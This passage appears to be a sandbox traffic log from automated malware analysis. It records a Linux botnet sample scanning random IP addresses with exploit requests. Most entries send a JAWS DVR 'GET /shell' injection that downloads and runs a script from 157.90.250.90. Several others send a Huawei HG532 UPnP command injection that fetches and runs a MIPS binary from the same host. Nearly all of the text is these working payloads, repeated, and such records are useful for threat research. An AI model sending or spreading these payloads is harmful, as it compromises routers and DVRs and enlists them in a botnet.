2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	50180	208.246.133.237	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.295098066 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	48190	156.190.175.18	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.295877934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	59906	145.105.254.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.296437025 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	45868	156.79.21.228	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.297231913 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	39532	5.104.106.96	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.297766924 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	51182	46.19.30.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.298820019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	35140	167.75.81.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.299402952 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	40592	141.173.180.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.299993992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	60028	104.234.241.23	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.300580978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	39888	96.227.56.195	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.301146984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	57976	199.155.1.164	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.301745892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	59458	81.168.40.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.302356958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	39598	62.96.206.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.302947044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	47072	136.13.75.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.303530931 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	37822	25.253.247.243	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.304104090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	33458	92.42.91.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.304702997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	56784	23.46.95.33	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.305286884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	45934	139.246.200.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.305870056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	34690	142.202.33.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.306440115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	38100	42.199.59.6	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.307034016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	34436	24.149.246.129	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.307622910 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	47556	216.131.217.108	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.308214903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	44170	148.66.215.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.308789968 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	45350	171.48.150.224	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.309381962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	58476	217.117.141.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.309967995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	41664	24.242.230.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.310539961 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	39552	32.227.59.119	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.311122894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	44024	185.221.32.180	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.311674118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	43128	4.17.178.247	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.312222004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	54830	120.196.61.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.312740088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	60286	138.250.81.210	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.313297987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	48818	172.153.131.92	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.316528082 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	55744	119.211.146.165	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.317140102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	43838	207.88.49.48	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.317727089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	48860	168.79.240.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.318355083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	39454	150.63.45.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.318949938 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	48276	149.30.241.216	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.319514036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	60512	143.141.87.96	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.320095062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	58148	71.187.196.149	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.320696115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	36052	185.96.7.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.321264982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	60610	223.111.24.66	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.321860075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	55766	116.150.62.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.322432995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	34222	147.179.254.202	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.322978020 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	44394	52.117.45.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.323622942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	41300	69.255.176.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.324187040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	43802	79.74.148.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.324798107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	41738	201.148.44.14	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.325376034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	34066	68.81.161.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.325947046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	33604	40.18.80.153	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.326527119 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	32938	183.134.212.93	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.327130079 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	37090	61.41.15.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.327721119 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	50612	2.81.246.81	80

Timestamp	Bytes transferred	Direction	Data
